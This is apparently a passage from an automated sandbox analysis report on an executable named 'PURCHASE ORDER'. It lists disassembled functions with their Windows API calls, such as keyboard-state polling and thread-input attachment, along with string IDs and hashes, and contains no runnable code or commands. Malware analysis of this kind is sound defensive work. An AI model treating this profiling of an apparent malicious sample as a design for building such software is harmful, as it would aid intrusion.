                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$LongWindow_memset
                                                                          • String ID:
                                                                          • API String ID: 830647256-0
                                                                          • Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                          • Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
                                                                          • Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                          • Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56
                                                                          Function 0046EA7F Relevance: 16.7, APIs: 11, Instructions: 167windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                          • DestroyAcceleratorTable.USER32(?), ref: 0046EA9F
                                                                          • ImageList_Destroy.COMCTL32(?), ref: 0046EB04
                                                                          • ImageList_Destroy.COMCTL32(?), ref: 0046EB18
                                                                          • ImageList_Destroy.COMCTL32(?), ref: 0046EB24
                                                                          • DeleteObject.GDI32(006C0000), ref: 0046EB4F
                                                                          • DestroyIcon.USER32(00630069), ref: 0046EB67
                                                                          • DeleteObject.GDI32(A6E8C10D), ref: 0046EB7F
                                                                          • DestroyWindow.USER32(005C003A), ref: 0046EB97
                                                                          • DestroyIcon.USER32(?), ref: 0046EBBF
                                                                          • DestroyIcon.USER32(?), ref: 0046EBCD
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateRectTableWindow
                                                                          • String ID:
                                                                          • API String ID: 802431696-0
                                                                          • Opcode ID: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                          • Instruction ID: 42d633cefbe7d7192e7a113645d0a532909e6831d49db23f2259be933aabe8c6
                                                                          • Opcode Fuzzy Hash: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                          • Instruction Fuzzy Hash: 17513178600202DFDB14DF26D894E2A77E9FB4AB14B54446EE502CB361EB38EC41CB5E
                                                                          Function 00444D52 Relevance: 16.6, APIs: 11, Instructions: 132keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                                                                          • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                                                                          • GetKeyState.USER32(000000A0), ref: 00444E26
                                                                          • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                                                                          • GetKeyState.USER32(000000A1), ref: 00444E51
                                                                          • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                                                                          • GetKeyState.USER32(00000011), ref: 00444E77
                                                                          • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                                                                          • GetKeyState.USER32(00000012), ref: 00444E9D
                                                                          • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                                                                          • GetKeyState.USER32(0000005B), ref: 00444EC3
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: State$Async$Keyboard
                                                                          • String ID:
                                                                          • API String ID: 541375521-0
                                                                          • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                          • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                                                                          • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                          • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                                                                          Function 00474335 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 308COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: HH
                                                                          • API String ID: 0-2761332787
                                                                          • Opcode ID: 7d4a86683db9a09c2256a2266118b3ebdc040ee5a517fddb499b320ca0848e6c
                                                                          • Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
                                                                          • Opcode Fuzzy Hash: 7d4a86683db9a09c2256a2266118b3ebdc040ee5a517fddb499b320ca0848e6c
                                                                          • Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                                                                          Function 004507E7 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004508CB
                                                                          • SendMessageW.USER32(?,00001036,00000000,?), ref: 004508DB
                                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,00001036,00000000,?,000000FF,?,SysListView32,004848E8,00000000), ref: 004508FC
                                                                          • _wcslen.LIBCMT ref: 00450944
                                                                          • _wcscat.LIBCMT ref: 00450955
                                                                          • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045096C
                                                                          • SendMessageW.USER32(?,00001061,?,?), ref: 0045099B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$Window_wcscat_wcslen
                                                                          • String ID: -----$SysListView32
                                                                          • API String ID: 4008455318-3975388722
                                                                          • Opcode ID: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                          • Instruction ID: 786a3889ee88f98d9b0e9b4b0e1dacf7018a6923f31dd28eeaa3c07ad082d1a6
                                                                          • Opcode Fuzzy Hash: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                          • Instruction Fuzzy Hash: 17519470504340ABE330DB65C885FABB3E4AF84714F104E1EFA94972D3D6B99989CB65
                                                                          Function 00448602 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 00448625
                                                                          • CreateMenu.USER32 ref: 0044863C
                                                                          • SetMenu.USER32(?,00000000), ref: 0044864C
                                                                          • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 004486D6
                                                                          • IsMenu.USER32(?), ref: 004486EB
                                                                          • CreatePopupMenu.USER32 ref: 004486F5
                                                                          • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 00448739
                                                                          • DrawMenuBar.USER32 ref: 00448742
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                          • String ID: 0
                                                                          • API String ID: 176399719-4108050209
                                                                          • Opcode ID: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                          • Instruction ID: 98f94d81d6847d6484dd50bbdc77a0bd9f9f2d632c710d3394220f00cc789bef
                                                                          • Opcode Fuzzy Hash: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                          • Instruction Fuzzy Hash: 86417675604201AFD700CF68D894A9BBBE4FF89314F14891EFA488B350DBB5A845CFA6
                                                                          Function 004691F4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                                                                          • GetDlgCtrlID.USER32(00000000), ref: 00469289
                                                                          • GetParent.USER32 ref: 004692A4
                                                                          • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                                                                          • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                                                                          • GetParent.USER32 ref: 004692C7
                                                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$CtrlParent$_wcslen
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 2040099840-1403004172
                                                                          • Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                          • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                                                                          • Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                          • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                                                                          Function 004693F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 87windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                                                                          • GetDlgCtrlID.USER32(00000000), ref: 00469483
                                                                          • GetParent.USER32 ref: 0046949E
                                                                          • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                                                                          • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                                                                          • GetParent.USER32 ref: 004694C1
                                                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$CtrlParent$_wcslen
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 2040099840-1403004172
                                                                          • Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                          • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                                                                          • Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                          • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                                                                          Function 00448DAF Relevance: 15.2, APIs: 10, Instructions: 173windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 004419ED: DeleteObject.GDI32(?), ref: 00441A53
                                                                          • SendMessageW.USER32(75A923D0,00001001,00000000,00000000), ref: 00448E73
                                                                          • SendMessageW.USER32(75A923D0,00001026,00000000,00000000), ref: 00448E7E
                                                                            • Part of subcall function 00441A7A: CreateSolidBrush.GDI32 ref: 00441ACB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$BrushCreateDeleteObjectSolid
                                                                          • String ID:
                                                                          • API String ID: 3771399671-0
                                                                          • Opcode ID: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                          • Instruction ID: ebbecaf0548398ae771b9aa28ebf0b72f134f9ffbbfb28b2279bd799396bd9e3
                                                                          • Opcode Fuzzy Hash: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                          • Instruction Fuzzy Hash: F4510930208300AFE2209F25DD85F6F77EAEB85B14F14091EF994E72D0CBB9E9458769
                                                                          Function 0046ECBF Relevance: 15.1, APIs: 10, Instructions: 101COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: InitVariant$_malloc_wcscpy_wcslen
                                                                          • String ID:
                                                                          • API String ID: 3413494760-0
                                                                          • Opcode ID: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                          • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                                                                          • Opcode Fuzzy Hash: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                          • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                                                                          Function 004377B4 Relevance: 15.1, APIs: 10, Instructions: 97threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentThreadId.KERNEL32 ref: 004377D7
                                                                          • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                                                                          • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                                                                          • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                          • String ID:
                                                                          • API String ID: 2156557900-0
                                                                          • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                          • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                                                                          • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                          • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                                                                          Function 0045F776 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 446COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsicoll
                                                                          • String ID: 0%d$DOWN$OFF
                                                                          • API String ID: 3832890014-468733193
                                                                          • Opcode ID: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                          • Instruction ID: 3901981f80fa7430cd77b89167089bc3925961a07aad88d0cc2f25a35af8916b
                                                                          • Opcode Fuzzy Hash: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                          • Instruction Fuzzy Hash: B7F1D8614083856DEB21EB21C845BAF7BE85F95309F08092FF98212193D7BCD68DC76B
                                                                          Function 0045E912 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 353timeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • VariantInit.OLEAUT32(00000000), ref: 0045E959
                                                                          • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                                                                          • VariantClear.OLEAUT32 ref: 0045E970
                                                                          • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                                                                          • __swprintf.LIBCMT ref: 0045EB1F
                                                                          • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                                                                          • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                                                                          Strings
                                                                          • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                                                                          • String ID: %4d%02d%02d%02d%02d%02d
                                                                          • API String ID: 43541914-1568723262
                                                                          • Opcode ID: 11e75855299ae3405c424824ea34456a4e4a4cfcb6a1aa253e4cc896e09893c9
                                                                          • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                                                                          • Opcode Fuzzy Hash: 11e75855299ae3405c424824ea34456a4e4a4cfcb6a1aa253e4cc896e09893c9
                                                                          • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                                                                          Function 0042FE54 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 298sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FE66
                                                                          • Sleep.KERNEL32(0000000A), ref: 0042FE6E
                                                                          • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FF5D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: DecrementInterlocked$Sleep
                                                                          • String ID: 0vH$0vH$4RH0vH$@COM_EVENTOBJ
                                                                          • API String ID: 2250217261-3412429629
                                                                          • Opcode ID: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                          • Instruction ID: 990b5f35a06538e4ae7b6c94f393f4a5fafaaf51bfa382c75dcb300f2d234fa3
                                                                          • Opcode Fuzzy Hash: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                          • Instruction Fuzzy Hash: E0B1C0715083009FC714EF54C990A5FB3E4AF98304F508A2FF495972A2DB78ED4ACB9A
                                                                          Function 004689FF Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 288COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                          • API String ID: 0-1603158881
                                                                          • Opcode ID: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                          • Instruction ID: 1d39c91c6ba170ccd8bd44326015c92659356e06a413e753493f98454e3169a0
                                                                          • Opcode Fuzzy Hash: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                          • Instruction Fuzzy Hash: 49A1D3B14043459BCB20EF50CC81BDE37A4AF94348F44891FF9896B182EF79A64DC76A
